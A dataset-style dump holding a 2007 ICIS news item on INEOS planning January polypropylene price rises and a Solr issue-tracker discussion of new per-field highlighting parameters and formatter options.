text stringlengths 454 608k | url stringlengths 17 896 | dump stringclasses 91 values | source stringclasses 1 value | word_count int64 101 114k | flesch_reading_ease float64 50 104 |
|---|---|---|---|---|---|
20 December 2007 10:58 [Source: ICIS news]
LONDON (ICIS news)--INEOS Polyolefins will attempt to increase Europe January polypropylene (PP) prices by the full first-quarter €57/tonne ($81/tonne) hike in propylene, a company source reported on Thursday.
Buyers widely expected an increase in January but several felt that the full propylene hike would not be feasible.
“If there is an increase in January, it will be modest,” said one large buyer.
“Demand won’t support it. We are already feeling the impact of a slower economy.”
Another buyer was still able to buy spot volumes at stable price levels.
“I am buying from a European major producer at December prices for January delivery,” he said, adding that he would be buying extra material to avoid buying early next year.
PP producers were eager to recover increased costs from the first-quarter propylene settlement at €945/tonne FD (free delivered) NWE (northwest ?xml:namespace>
Several buyers reported that they had so far had no word of January intentions, however.
Another major PP producer reported that it would not be satisfied with recovering only the propylene increase, and intended to cover losses incurred during the fourth quarter of 2007.
“We will probably be looking for an increase of around €80/tonne for January PP,” he said on Thursday. “We will be announcing to the market shortly.”
Homopolymer injection was trading in the mid-€1,200s/tonne FD NWE on a gross basis, according to global chemical market intelligence service ICIS pricing.
( | http://www.icis.com/Articles/2007/12/20/9088205/ineos-to-hike-jan-pp-by-full-57tonne-c3-increase.html | CC-MAIN-2015-14 | refinedweb | 252 | 52.8 |
Bush Learns Standup Rules
Again, thanks to Steve.
“So, who needs a pair?”
(See also Bush Violates Standup Rules)
Javascript thoughts of the day.
spare time. :)
Collapsing Migrations
(6
Thoughts on Linus Torvalds's Git Talk)
OpenSocial.
Your Object Mama
I.
Pivots at RubyConf
The).
Making Ruby Look Like <strike>Smalltalk</strike> <strike>Haskell</strike> <strike>Erlang</strike> Ruby
‘lock’ it will not respond to any messages until it receives ‘unlock':
Ruby Quiz (A Trick Question)
Here is a little Ruby trivium for you.
Type this into IRB:
def foo def bar 1 end end foo.bar => 1
Is this some magical lightweight object creation syntax so you can do cool method chaining? Let’s try another example:
def foo def foo 1 end end foo => nil foo.foo => 1
So far so good. But now, type:
foo => 1
WTF? Is this a defect in Ruby?? Post your responses in the comments.
(Warning: this is a trick question)
Get Rake to always show the error stack trace for your project
Tired.
rake query_trace
Query | http://pivotallabs.com/category/labs/page/143/ | CC-MAIN-2015-06 | refinedweb | 174 | 86.4 |
Created!!!
@Geetika Guleria you might consider re-constructing your original data to have all intervals
e.g. Ray123 1 2015 2017 -> Ray123 1 2015 2016 and Ray123 1 2016 2017
assign rank based on the other rows by either mapping on the start_end timestamp.
e.g. 2015_2016 -> [Ray123] , 2016_2017 -> [Ray123,Kate]
but the problem could be to preserve the sequence of the rows, do you have other cols to track that e.g sequence, or id
I got something in pyspark (supposing you have the priorities mentioned in the last column of every row). You could have this defined somewhere else too and use that as in input to sorting function. I tested it with 200 rows of data and it worked quite fast without giving error. Not sure if this will scale up because it maintains all records in memory in a dictionary structure for final sorting. Anyways you can try this.
Format of roleinput.txt:
wcrdz - 2013 2015 4
psdzn - 2013 2015 2
imjvl - 2014 2017 4
pzpzv - 2014 2017 2
ngsdv - 2012 2015 3
gptxb - 2013 2015 1
(role is initially - and will be assigned in the end unique to a time-group. Priority is indicated by last column)
import pyspark
import sys
from pyspark import SparkContext
sc=SparkContext(appName='role')
text=sc.textFile('/user/user1/roleinput.txt')
overlap_dict=text.map(lambda x:(x.split()[2]+x.split()[3],[x]))
overlap_sorted_by_priority=overlap_dict.reduceByKey(lambda a,b:sorted(a+b,key=lambda x:int(x.split()[-1]))) assigned_roles=overlap_sorted_by_priority.map(lambda x:x[1] if isinstance(x[1],list) else [x[1]]).map(lambda x:[' '.join([item.split()[0],str(x.index(item)+1),item.split()[2],item.split()[3]]) for item in x])
assigned_roles.flatMap(lambda x:x).collect()
Created 08-07-2017 06:53 AM
Useful information | https://community.cloudera.com/t5/Support-Questions/What-is-the-best-way-to-perform-row-wise-calculations-in/m-p/232010 | CC-MAIN-2020-34 | refinedweb | 301 | 55.95 |
Dec 3 2007 11:40AM GMT
Posted by: MarkWPF
WPF
The pure MSDN definition is:
However, you do have to read that quite a few times!
Hope that’s clear
Attached events
Posted by: MarkWPF
Firstly, what are they?
I say they are custom events that you can place into the tree in WPF to add extra functionality without subclassing controls.
The pure MSDN definition is:
“An attached event allows you to attach a handler for a particular event to some child element rather than to the parent that actually defines the event, even though neither the object potentially raising the event nor the destination handling instance define or otherwise ‘own’ that event in their namespace.”
However, you do have to read that quite a few times!
So I’ve broken it down into a few key elements:
- It is a normal WPF routed event
- They are custom events that mean you don’t have to subclass existing classes
- It is not a language event (with += & -= handlers in c#), you use AddHandler and RemoveHandler instead
- You can put them into attributes like standard system events
Hope that’s clear
Comment on this Post | http://itknowledgeexchange.techtarget.com/wpf/attached-events/ | CC-MAIN-2013-48 | refinedweb | 193 | 56.63 |
React for CLIs
Build and test your CLI output using components.
InstallInstall
$ npm install --save ink
UsageUsage
const {h, mount, Component, Text} = require('ink'); class Counter extends Component { constructor() { super(); this.state = { i: 0 }; } render() { return ( <Text green> {this.state.i} tests passed </Text> ); } componentDidMount() { this.timer = setInterval(() => { this.setState({ i: this.state.i + 1 }); }, 100); } componentWillUnmount() { clearInterval(this.timer); } } mount(<Counter/>, process.stdout);
GuideGuide
- Getting Started
- Core API
- Components
- Props
- Lifecycle Methods
- State
- Refs
- Context
- Stateless Function Components
- Built-in Components
Ink's goal is to provide the same component-based UI building experience that React provides, but for CLI. That's why it tries to implement the minimum required functionality of React. If you are already familiar with React (or Preact, since Ink borrows a few ideas from it), you already know Ink.
They key difference you have to remember is that the rendering result isn't a DOM, but a string, which Ink writes to output.
Getting StartedGetting Started
To ensure all examples work and you can begin your adventure with Ink, make sure to set up a JSX transpiler and set JSX pragma to
h. Don' forget to import
h into every file that contains JSX.
const {h} = require('ink'); const Demo = () => <div/>;
Core APICore API
mount(tree, stream)mount(tree, stream)
Mount a component, listen for updates and update the output. This method is used for interactive UIs, where you need state, user input or lifecycle methods.
treetree
Type:
VNode
streamstream
Type:
Stream
Default:
process.stdout
const {h, mount, Component} = require('ink'); class Counter extends Component { constructor() { super(); this.state = { i: 0 }; } render(props, state) { return `Iteration #${state.i}`; } componentDidMount() { this.timer = setInterval(() => { this.setState({ i: this.state.i + 1 }); }, 100); } componentWillUnmount() { clearInterval(this.timer); } } const unmount = mount(<Counter/>); setTimeout(() => { // enough counting unmount(); }, 1000);
renderToString(tree)renderToString(tree)
Render a previously generated VDOM to a string, which you can flush to output.
render(tree, [prevTree])render(tree, [prevTree])
Build a VDOM representation of components. Useful if you don't intend to use state or lifecycle methods and just want to render the UI once and exit.
const {h, render, renderToString} = require('ink'); const Hello = () => 'Hello World'; const tree = render(<Hello/>); process.stdout.write(renderToString(tree));
ComponentsComponents
Similarly to React, there are 2 kinds of components: Stateful components (next, "component") and stateless function components. You can create a component by extending
Component class. Unlike stateless function components, they have access to state, context, lifecycle methods and they can be accessed via refs.
class Demo extends Component { render(props, state, context) { // props === this.props // state === this.state // context === this.context return 'Hello World'; } }
If you need to extend the constructor to set the initial state or for other purposes, make sure to call
super() with
props and
context:
constructor(props, context) { super(props, context); this.state = { i: 0 }; // other initialization }
PropsProps
Props are basically arguments for components. Every parent component can pass props to their children.
class Child extends Component { render(props) { // props === this.props return `Hello, ${props.name}`; } } class Parent extends Component { render() { return <Child name="Joe"/>; } }
Lifecycle MethodsLifecycle Methods
Lifecycle methods are component methods that are called whenever a certain event happens related to that specific component. All lifecycle methods are called from top to down, meaning that components on top receive those events earlier than their children.
componentWillMount()componentWillMount()
Component is initialized and is about to be rendered and written to the output.
componentDidMount()componentDidMount()
Component is rendered and written to the output.
componentWillUnmount()componentWillUnmount()
Component is about to be unmounted and component instance is going to be destroyed. This is the place to clean up timers, cancel HTTP requests, etc.
componentWillReceiveProps(nextProps, nextState)componentWillReceiveProps(nextProps, nextState)
Component is going to receive new props or state. At this point
this.props and
this.state contain previous props and state.
shouldComponentUpdate(nextProps, nextState)shouldComponentUpdate(nextProps, nextState)
Determines whether to rerender component for the next props and state. Return
false to skip rerendering of component's children. By default, returns
true, so component is always rerendered on update.
componentWillUpdate(nextProps, nextState)componentWillUpdate(nextProps, nextState)
Component is about to rerender.
componentDidUpdate()componentDidUpdate()
Component was rerendered and was written to output.
StateState
Each component can have its local state accessible via
this.state. Whenever a state updates, component is rerendered.
To set the initial state, extend the constructor and assign an object to
this.state. Anywhere in the component state is accessible via
this.state, and it's also passed to
render() as a second argument.
class Demo extends Component { constructor(props, context) { super(props, context); this.state = { i: 0 } } render(props, state) { return `Iteration ${state.i}`; } }
setState(nextState)setState(nextState)
nextStatenextState
Type:
Object,
Function Default:
{}
Set a new state and update the output.
Note:
setState() works by extending the state via
Object.assign(), not replacing it with a new object. Therefore you can pass only changed values.
class Demo extends Component { constructor(props, context) { super(props, context); this.state = { i: 0 } } render(props, state) { return `Iteration ${state.i}`; } componentDidMount() { this.setState({ i: this.state.i + 1 }); } }
The above example will increment the
i state property and render
Iteration 1 as a result.
setState() also accepts a function, which receives the current state as an argument. The same effect of incrementing
i could be achieved in a following way:
this.setState(state => { return { i: state.i + 1 } });
This is useful when
setState() calls are batched to ensure that you update the state in a stable way.
RefsRefs
Refs can be used to get a direct reference to a component instance. This is useful, if you want to access its methods, for example.
Refs work by setting a special
ref prop on a component. Prop's value must be a function, which receives a reference to a component as an argument or
null when the wanted component is unmounted.
Note: You can't get refs to stateless function components.
class Child extends Component { render() { return null; } hello() { return 'Hello World'; } } class Parent extends Component { constructor(props, context) { super(props, context); this.state = { message: 'Ink is awesome' }; } render(props, state) { const setChildRef = ref => { this.childRef = ref; }; return ( <div> {message} <Child ref={setChildRef}/> </div> ) } componentDidMount() { this.setState({ message: this.childRef.hello() }); } }
ContextContext
Context is like a global state for all components. Every component can access context either via
this.context or inside
render():
render(props, state, context) { // context === this.context }
To add new entries to context, add
getChildContext() method to your component:
class Child extends Component { render() { return this.context.message; } } class Parent extends Component { getChildContext() { return { message: 'Hello World' }; } render() { return <Child/>; } }
Stateless Function ComponentsStateless Function Components
If you don't need state, lifecycle methods, context and refs, it's best to use stateless function components for their small amount of code and readability.
Using stateful components:
class Demo extends Component { render(props, state, context) { return 'Hello World'; } }
Using stateless function components:
const Demo = (props, context) => 'Hello World';
As you may have noticed, stateless function component still get access to props and context.
Built-in ComponentsBuilt-in Components
Surprise, surprise, our favorite
<div> and
<span> can be used in Ink components! They contain zero functionality, but are useful for grouping elements, since JSX doesn't allow multiple elements without a parent.
This won't work:
const Demo = ( <A/> <B/> <C/> );
This will:
const Demo = ( <div> <A/> <B/> <C/> </div> );
There's also
<br/>, which serves the same purpose as on the web - a newline.
const Demo = ( <div> Line 1 <br/> Line 2 </div> );
LicenseLicense
MIT © Vadim Demedes | https://ctolib.com/vadimdemedes-ink.html | CC-MAIN-2019-22 | refinedweb | 1,247 | 50.63 |
HTML is the structured markup language used for pages on the World Wide Web. Given that it is structured, it's possible to extract information from them programmatically. Given that the schema describing HTML is viewed more as a suggestion than a rule, the parser needs to be very forgiving of errors.
For Haskell, one such parser is the
html-conduit parser, part of the relatively light-weight
xml-conduit package. This tutorial will walk you through the creation of a simple application: seeing how many hits we get from bing.com when we search for "School of Haskell".
Fetching the Page
We're going to use
Network.HTTP.Conduit to fetch the page and store it for later reference. This uses the function
simpleHttp to get the page:
import Network.HTTP.Conduit (simpleHttp) import qualified Data.ByteString.Lazy.Char8 as L -- the URL we're going to search url = "" -- test main = L.putStrLn . L.take 500 =<< simpleHttp url
Finding the Data
Now that we have the page contents, we need to find the data we're interested in. Examing the page, we see that it's in a
span tag, with the
id of
count. The
html-conduit package can parse the data for us. After doing so, we can use operators from the
Text.XML.Cursor package to pick out the data we want.
Text.XML.Cursor provides operators inspired by the XPath language. If you are familiar with XPath expressions, these will come naturally. If not - well, they are still fairly straightforward. We extract the page as before, then use
parseLBS to parse the lazy
ByteString that it returns, and then
fromDocument to create the
cursor. The
$// operator is similar to the
// syntax of XPath, and selects all the nodes in the cursor that match the
findNodes expression. The
&| will apply the
fetchData function to each node in turn, the resulting list being passed to
processData.
The
findNodes function uses
element "span" to select the
span tags. Then
>=> composes that with the next selector
attributeIs "id" "count", which selects for - you guessed it - elements with an
id attribute of
count. Since
id attributes are supposed to be unique, that should be our element. The node we want is actually the content of the text node that is a child of the node we found, so we use
child to extract that node.
The
extractData function uses the
content function to extract the actual text from the node we found. Since
content operates on a list of
Nodes,
extractData applies
Data.Text.concat to turn the list of
Text's into a single
Text.
Finally, we process that data - a list of the results of
extractData - with
processData. Since we want the text from the first element in the list we are passed, we use
head before printing it. The resulting string has type
Text, so
Data.Text.unpack turns it into a string for
putStrLn.
{-# LANGUAGE OverloadedStrings #-} import Network.HTTP.Conduit (simpleHttp) import qualified Data.Text as T import Text.HTML.DOM (parseLBS) import Text.XML.Cursor (Cursor, attributeIs, content, element, fromDocument, child, ($//), (&|), (&//), (>=>)) -- The URL we're going to search=> attributeIs "id" "count" >=> child -- Extract the data from each node in turn extractData = T.concat . content -- Process the list of data elements processData = putStrLn . T.unpack . T.concat cursorFor :: String -> IO Cursor cursorFor u = do page <- simpleHttp u return $ fromDocument $ parseLBS page -- test main = do cursor <- cursorFor url processData $ cursor $// findNodes &| extractData
Note that if you get no result, it probably means that bing has changed it's output, so the tutorial needs to be tweaked. If you get more than one result, it means the input HTML is invalid.
You can find the list of
Cursor operators and functions along with their descriptions at
Text.XML.Cursor.
With a List
As a second example, let's extract the list of URL's from the search. These are simply
a tags wrapped in
h3 tags. So we change
findNodes to find those tags, and
extractData to fetch the
href attribute. Finally, we process the resulting list by using
mapM_ to pass each string to Data.Text.IO.putStrLn to print each URL on a line, rather than using
unpack to turn it into a string. This requires changing the imports a bit. In this case, rather than using a qualified import to avoid conflicts with the
Prelude, we explicitly import it and hide the functions we want. All these changes are highlighted.
{-# LANGUAGE OverloadedStrings #-} import Network.HTTP.Conduit (simpleHttp) {-hi-}import Prelude hiding (concat, putStrLn) import Data.Text (concat) import Data.Text.IO (putStrLn){-/hi-} import Text.HTML.DOM (parseLBS) import Text.XML.Cursor (Cursor, attribute, element, fromDocument, ($//), (&//), (&/), (&|)) -- The URL we're going to search url = "" -- The data we're going to search for findNodes :: Cursor -> [Cursor] findNodes = {-hi-}element "h3" &/ element "a"{-/hi-} -- Extract the data from each node in turn extractData = {-hi-}concat . attribute "href"{-/hi-} -- Process the list of data elements processData = {-hi-}mapM_ putStrLn{-/hi-} cursorFor :: String -> IO Cursor cursorFor u = do page <- simpleHttp u return $ fromDocument $ parseLBS page main = do cursor <- cursorFor url processData $ cursor $// findNodes &| extractData
Error handling
This tutorial did not cover error handling. Given the nature of HTML, errors are common, and the html parser deals with that as well as it can. If you're using XML, then above tools will work - just use the appropriate parser from
xml-conduit and the tools described above. If you need to detect errors in your XML, you maight want to look at the XML parsing with validation tutorial. | https://www.schoolofhaskell.com/school/starting-with-haskell/libraries-and-frameworks/text-manipulation/tagsoup | CC-MAIN-2017-26 | refinedweb | 928 | 65.42 |
The current version of the ICU include files is 3.2 from 2006. Since this files are used to access the API in the system provided libraries, we should update include files to more recent version. THis would also allow the use of newer APIs.
Created attachment 163446 [details]
Patch as zip file
Source of files is ICU release 4.6.1 with some modifications.
From the ChangeLogs:
Updated ICU header files to 4.6.1. Modifications made as part of the merge are:
platform.h - Changed ifndef / define / endif for U_HAVE_UINT8_T, U_HAVE_UINT16_T, U_HAVE_UINT32_T,
U_HAVE_UINT64_T, U_IS_BIG_ENDIAN and U_ENABLE_TRACING to match the existing platform.h
putil.h (line 132) - Changes defined(U_WINDOWS) to defined(WIN32) || defined(OS2) to match existing putil.h
ustring.h (line 945) - Wrapped macro argument cs with { (const UChar *)cs } to match existing ustring.h
utypes.h (line 545) - Changed defined(U_WINDOWS) to defined(WIN32) to match existing utypes.h
Added localpointer.h and uvernum.h to JavaScriptCore/icu/unicode WTF/icu/unicode WebCore/icu/unicode WebKit/mac/icu/unicode.
Added utext.h to Source/WebCore/icu/unicode.
Attachment 163446 [details] did not pass style-queue:
Failed to run "['Tools/Scripts/check-webkit-style', '--diff-files']" exit_code: 1
Total errors found: 0 in 0 files
If any of these errors are false positives, please file a bug against check-webkit-style.
Comment on attachment 163446 [details]
Patch as zip file
r=me
Committed r128243: <>
Additional commit of r128246: <>
Additional commit of r128250: <>
Additional commit of r128252: <>
Additional commits of r128255: <> and r128256: <> | https://bugs.webkit.org/show_bug.cgi?id=96422 | CC-MAIN-2020-16 | refinedweb | 255 | 51.04 |
What exactly are we trying to do here?
We're
trying to project forward to the Stradivarius of coding. Such an instrument
would elevate the game of excellent developers to the highest levels ever.
That's what a Strad would do.
Necessarily
such a device makes various assumptions about its players. The assumptions here
are that object-oriented software construction is important. That exercising
new types with tests is the preference if the burden of doing so is not too
great. That systems grow in complexity. That developers want to see the frail aspects
of a solution in order to remodel them. And finally that the execution states
of an application, if stored as a persistent, searchable structure, give rich
opportunity for new ways of debugging, optimizing and enhancing the overall
quality of an implementation.
Here's an overview shot.
Inspect a cumulative stack based on a given application or test run in order to fix, optimize or refine the implementation.
Imagine every method call made during the run of an application or test; place these calls in sequential order and you have the cumulative stack. We can explore this structure by selecting an individual method call, selecting a line in the method and then proceeding as usual, stepping through each line of source.
The difference is that we can find out how any object reached its state, or why a particular line executed by traversing the history of the run.
If an exception has occurred, we may need to see only the last few calls. Cutoff limits the number of calls available for searching. Essentially it’s an optimization.
Within the parentheses of method calls, a small icon (called a kibble) represents the value of all parameters. You can hover over this icon to get a mini-watch window with the parameters listed (which you can then check to add it to the main watch window).
These work the same as Parameter Kibbles, but for return values.
A cumulative stack may have millions of calls in it. Tracing the cause of an exception back from the line where the exception occurred might be quite simple in some cases. Running wire can certainly help isolate the exact point when some value changed which eventually led to an error condition.
The stack has a tendency to “drill-down” into composites or related objects, then snap-back to more basic application loops. This action is far more apparent in the cumulative stack, because it contains every drill-down and snap-back, every transient stack that existed during the run.
Jumpers allow us to better see what the transient stack looked like at a given moment in time, establishing a root and leaf for a single method call. This makes it easier to see the iterations of a loop (for example), so that we could inspect the second iteration without having to wade through all the noise generated by the first iteration.
Move efficiently through the cumulative stack avoiding unnecessary step intos.
A “step into” for a property getter.
The biggest problem here is deep dot notation:
Form.Controls[0].Control.TextModel.Reset();
When debugging, this line creates a “step-into” nightmare. By breaking out all of those getters and listing them as options, we provide a direct shot into “Reset()”, likely the desired target anyway, without cutting off the getter targets.
Mini Diagram-style shapes appear next to each Get Step, showing whether the property is an object or primitive type. If the getter contains code beyond a simple field value return, a line is drawn on the left side of the shape.
Speed resolution by putting compilation and exception messages in context.
The Constant Velocity (CV) engine compiles the solution whenever sufficient idle time exists to merit an attempt, and IntelliSense has indicated that the source should compile successfully. If this is not the case, or if the developer has forced a compile, the Error Trap will display all of the compilation errors. Each error can be clicked and the line of source is displayed (just like the current Output pane.)
When an application or test is run, any exception thrown is displayed, with the errant line highlighted. The cumulative stack is still available in this instance, and can be used to track down the cause of the exception.
This is a big productivity breakthrough—the transient stack is often thrown away during the first occurance of an unexpected exception (so that a proper breakpoint can be set) and sometimes that stack still doesn’t show the problem which may have occurred even earlier than the breakpoint.
Visually depict the implementation of a type.
Minis are used in the Visual Stack and in Visual Refactoring.
A rectangle represents the object or type. Other shapes are then added:
Properties are built to express read/write capability and to indicate the presence of code beyond a simple setter or getter line.
Read shapes are placed on the left, write shapes on the right. If additional code is present, a line is drawn from the edge of the value shape to the edge of the oval.
The scope of a member is shown by its position in the rectangle. Public members hang over the outside edge. Internal members appear in the private or protected region inside the rectangle.
Usage
Hovering over a shape causes the shape to “go hot” and a label naming the member and listing any parameters is shown.
Members are usually checked via a hover, dragged to a watch window or selected (if refactoring.)
In the Visual Stack, a blue highlight effect arcs through the Minis, indicating the method call order.
Minis were designed to be generated by software, and as such, adhere to standards (for example the use of ellipsis beyond a certain count of parameters or members) to assist in that application.
Represent the stack as a series of connected Mini Diagrams to show object complexity and to give instant access to object state.
Click the orange square to see the solid-state watch window for the object type. Define new watches by dragging shapes from the Mini Diagram to the Watch window.
Create new types with a single click, choose from the most recently selected types, search for types based on name, referenced types, interfaces implemented, ancestor type and other metadata.
Search sentences make it possible to filter all of the types into a reasonable subset.
Key here is to provide a full set of good default sentences so that the developer can use the drop-down. Where the defaults do not suffice, advanced sentences can be built and saved.
Show
everything/classes/delegates/structs/interfaces/enums
in the solution/project/namespace/folder
that start with/contain/end with
that descend from the type
that implement the interface
that contain the attribute/method/property/event
Building sentences from this spec we have:
Of course typing in the list jumps the selection to the first type that matches. For small projects then, search sentences will probably be left on “Show all types in the project.”
The same as “Add New Item | Class” without the dialog. The “New Type” template should be editable by the developer.
Displays a popup of the most recently selected types for this solution.
Make it easy to see and navigate to types referenced directly by the current type.
When a type is selected, this header area above the code editor displays a list of types. Click one of these to see the source for the type. Double-click one of these to update the type selected in the Finder and force the repopulation of the strip.
The intent here is to speed the navigation to related types, without requiring the developer to find a reference in the source. The strip also provides a reality check on referenced types, higher counts being less desirable.
Create new tests with a single click, choose from the most recently selected tests, find existing tests based on name, footprint, types referenced and other metadata.
Automatically list the tests associated with a given line or lines of source - on demand or as those lines are edited.
The Test Reffer is implemented inside the Test Bench, such that the list simply updates when source is edited. As more and more source is changed, one would normally expect the list to grow. The tests, which usually have a green status, go yellow when any underlying source is changed. When the changes can be compiled, the CV engine then compiles the test, runs the test, and sets the status.
Click this icon to create a new test. A solution always has a default test project defined. The code file for the test is added to this project automatically. The test is also given a sequential number. A description of the test can be entered in the list or in the description area at the top of the Test Bench.
Click this icon to display a list of the most recently selected tests.
Search sentences are English-like phrases with replaceable words. These can be concatenated together to form an entire search paragraph. Once a search is built, it is saved and can be named. Search sentences are saved per project, and can be selected via a drop-down.
The intent here is to allow quick and easy searching via predefined and even custom metadata (such as attributes.)
Statuses are:
The first type of test supported would be unit tests. Of course the underlying framework should be easily integrated into by the currently popular testing frameworks such as NUnit.
Simple unit tests are not sufficient for full-fledged QA—Application (Functional) Tests should be accommodated. Extensible architecture is important here as well, as the various extant testing applications would want to integrate.
Most importantly, full support for an Application Recorder/Playback style implementation should be provided.
In the highest quality implementation of this feature, recordings would be represented as the source of a managed type, making the recording directly editable.
This is special kind of metadata associated with a test. A footprint is a list of every line of source that executed during the test run. The Search Sentence control in the TestBench provides an option to find all tests with identical footprints. Redundant tests can then be easily removed.
Graphically summarize code metrics directly in the source itself.
Grooves are accessible via a popup menu in the code editor. Select Grooves | Show All to display all of them, or pick an individual groove.
When the mouse hovers over a groove, it expands, making it easier to move over the graph for a specific line of source.
Right-clicking over the graph causes the value of the underlying statistic to be displayed, or in some cases, a full-blown listview is displayed.
Predefined grooves include:
Tests - Number of tests associated with this line of source. This list can then be transferred to the Test Bench.
Run - Number of times the line has been run (from within the current solution.)
Blown - Number of times an exception has been thrown directly from this line (not lower level source.)
Age - How long the source has been around. Should be maintained even through clipboard actions.
Edits - Number of times this line has been changed.
Calls (methods only) - Number of places in the current solution where this method is called. List of callers provided.
Creates (types only) - Number of places in the current solution where this type is instantiated. List provided.
Groove statistics are summarized based on a set of predefined rules. These rules can be modified by the developer. The intent is to show the desirability of the statistic at a glance.
Of course grooves should be implemented in a way that allows them to be extended and new grooves defined based on existing metadata or new combinations of metadata.
The groove painting architecture should also be pluggable, so that these graphs can be easily superseded.
Determine the exact points in the source where one type references another.
References are summarized in two different ways, either through a highlighted Mini Diagram (where the parts containing a reference are highlighted) or through a list of the line numbers. You can click either of these to jump to a reference.
Where a reference flows through to additional types, the list of those types is provided. Thus you can see the depth of the dependency.
The source itself is bulleted at each reference.
Wires help us track down changes to the individual field, property, or event of a single object, answering the question: When did this value change?
You can run wire by right-clicking a line of source which references the field, property or event in question. All changes up to this line of code will be gathered into a list. You can then select from this list to display the method where the change occurred. The line or lines of source where values changed are highlighted.
Methods involved in an active wire are colorized in the Cumulative Stack.
Remember that wire is instance-based. Only the field or object you have located in the stack is traced for changes, as opposed to all instances for that field or type.
List lines of source based on the amount of CPU time each required.
Trax highlights each line of source that executed during the last run, making it easy to differentiate which lines executed from those which did not. This is different from Stack Trax, which highlight just those lines executed for the selected call. Trax are cumulative, highlighting every line that fired at any point during the run.
Locate the most time intensive or noisy methods using the summary. Select a method and the SubTracker will show all time-intensive calls in that method. Then select a method in the SubTracker or click the “bullet” in the Code Editor to continue drilling down.
When Trax are visible, the Cumulative Stack is divided into sections, each containing all of the calls leading up to a call to the selected method. This helps isolate the “reason” for each call.
Use the Trax Mode arrows to navigate between call instances.
List the objects which exist as of a given line of source.
This rather straight-forward listview would not be a big deal, except for one thing—it updates as you click in the Cumulative Stack. That means you can assess total object footprint as of any call—and that should lead to some pretty incredible optimization opportunities.
Notice the total memory usage at the bottom of the list. This statistic is actually searchable in the Search Sentence control at the top of the Cumulative Stack. You can then filter the stack to show only those calls which were in play when when memory usage was say greater than 1MB. The possibilities for LiveObjects based metadata searching from the stack are both enticing and limitless.
Find the line of source where an object was instantiated.
Often when you see a high object count, the first question is: “Who” is creating all these objects. This little listview breaks out the exact line of source responsible for the instantiation of a given object type. Just click the object type in LiveObjects, then click a line in Origins: the source is then displayed in the code editor.
Note: Parentheses are shown only for constructors.
List the objects which have been garbage collected (or were eligible for collection) as of a given line of source.
As you move through the stack, a certain amount of collection eligibility should occur, based of course on the implementation. The biggest benefit here—instantly spot bloat.
Bloat will also appear in the LiveObjects window, though slightly masked as good objects mix with objects intended for collection.
One thing is for sure, if you select the last line of the stack and the Barge is empty, your application never allowed a single object to be garbage collected!
Find the line of source where an object was instantiated, even after it has been garbage collected!
Of course, if you go back to that line, then you can step through and watch it get created again.
Note: Parens are shown only on constructors.
Manage main, source and test projects.
In order to support the effortless creation of tests, a default test project can be set. Any tests created in the Test Bench are then automatically added to this project.
It is common for TDD to require multiple test projects. The Projector makes it easy to create new test projects and to set them as the default.
When multiple projects are in play, build order is the best indicator of correct dependencies. The strip also supports single-shot build-on-click so you can check the compilation of a project without including it in dependencies or checking build in the Solution Configuration. (Projects not set to build are not compiled by the CV engine.)
Reflects the number of types in a project.
These count ranges can be edited by the developer. Custom range tables can also be created per project type.
Quickly select old solutions or create new ones.
Create a new solution.
Displays a popup of the most recently selected solutions.
Configure the solution in the workspace
Set Source Folder for solution.
Select which projects will build.
Set Output Type per project.
Set Output Path per project.
Change Output filename for each project.
These capabilites overlap with the Projector. Here the main purpose is to get an overview of the settings for all of the projects.
Here we step thru a simple development cycle, showing how the CV engine supports test-driven. | http://www.codeproject.com/Articles/15533/Visual-Studio?msg=2833208 | CC-MAIN-2016-40 | refinedweb | 2,937 | 64.2 |
Details
Description
As discussed in the mailing list, I've been looking at adding additional configuration options for highlighting.
I've made quite a few changes to the properties for highlighting:
Properties that can be set on request, or in solrconfig.xml at the top level:
highlight (true/false)
highlightFields
Properties that can be set in solrconfig.xml at the top level or per-field
formatter (simple/gradient)
formatterPre (preTag for simple formatter)
formatterPost (postTag for simple formatter)
formatterMinFgCl (min foreground colour for gradient formatter)
formatterMaxFgCl (max foreground colour for gradient formatter)
formatterMinBgCl (min background colour for gradient formatter)
formatterMaxBgCl (max background colour for gradient formatter)
fragsize (if <=0 use NullFragmenter, otherwise use GapFragmenter with this value)
I've added variables for these values to CommonParams, plus there's a fields Map<String,CommonParams> that is parsed from nested NamedLists (i.e. a lst named "fields", with a nested lst for each field).
Here's a sample of how you can mix and match properties in solrconfig.xml:
<requestHandler name="hl" class="solr.StandardRequestHandler" >
<str name="formatter">simple</str>
<str name="formatterPre"><i></str>
<str name="formatterPost"></i></str>
<str name="highlightFields">title,authors,journal</str>
<int name="fragsize">0</int>
<lst name="fields">
<lst name="abstract">
<str name="formatter">gradient</str>
<str name="formatterMinBgCl">#FFFF99</str>
<str name="formatterMaxBgCl">#FF9900</str>
<int name="fragsize">30</int>
<int name="maxSnippets">2</int>
</lst>
<lst name="authors">
<str name="formatterPre"><strong></str>
<str name="formatterPost"></strong></str>
</lst>
</lst>
</requestHandler>
I've created HighlightingUtils to handle most of the parameter parsing, but the hightlighting is still done in SolrPluginUtils and the doStandardHighlighting() method still has the same signature, but the other highlighting methods have had to be changed (because highlighters are now created per highlighted field).
I'm not particularly happy with the code to pull parameters from CommonParams, first checking the field then falling back, e.g.:
String pre = (params.fields.containsKey(fieldName) && params.fields.get(fieldName).formatterPre != null) ?
params.fields.get(fieldName).formatterPre :
params.formatterPre != null ? params.formatterPre : "<em>";
I've removed support for a custom formatter - just choosing between simple/gradient. Probably that's a bad decision, but I wanted an easy way to choose between the standard formatters without having to invent a generic way of supplying arguments for the constructor. Perhaps there should be formatterType=simple/gradient and formatterClass=... which overrides formatterType if set at a lower level - with the formatterClass having to have a zero-args constructor? Note: gradient is actually SpanGradientFormatter.
I'm not sure I properly understand how Fragmenters work, so supplying fragsize to GapFragmenter where >0 (instead of what was a default of 50) may not make sense.
Activity
- All
- Work Log
- History
- Activity
- Transitions
New patch to configure Highlighting using new SolrParams.
Parameters:
hl - turn highlighting on/off
hl.fl - list of fields to be highlighted, either as a single parameter (e.g. hl.fl=title,keywords) or multiple parameters (hl.fl=title&hl.fl=keywords)
hl.snippets - maximum number of highlight snippets (default = 1)
hl.fragsize - fragment size for highlighting, 0 -> NullFragmenter (default = 50)
hl.formatter - value of either simple or gradient (default = simple)
hl.simple.pre - simple formatter pre tag (default = <em>)
hl.simple.post - simple formatter post tag (default = </em>)
hl.gradient.minFg - gradient formatter min foreground colour
hl.gradient.maxFg - gradient formatter max foreground colour
hl.gradient.minBg - gradient formatter min background colour
hl.gradient.maxBg - gradient formatter max background colour
All values appart from hl & hl.fl can be specified per field. e.g. f.title.hl.fragsize=0.
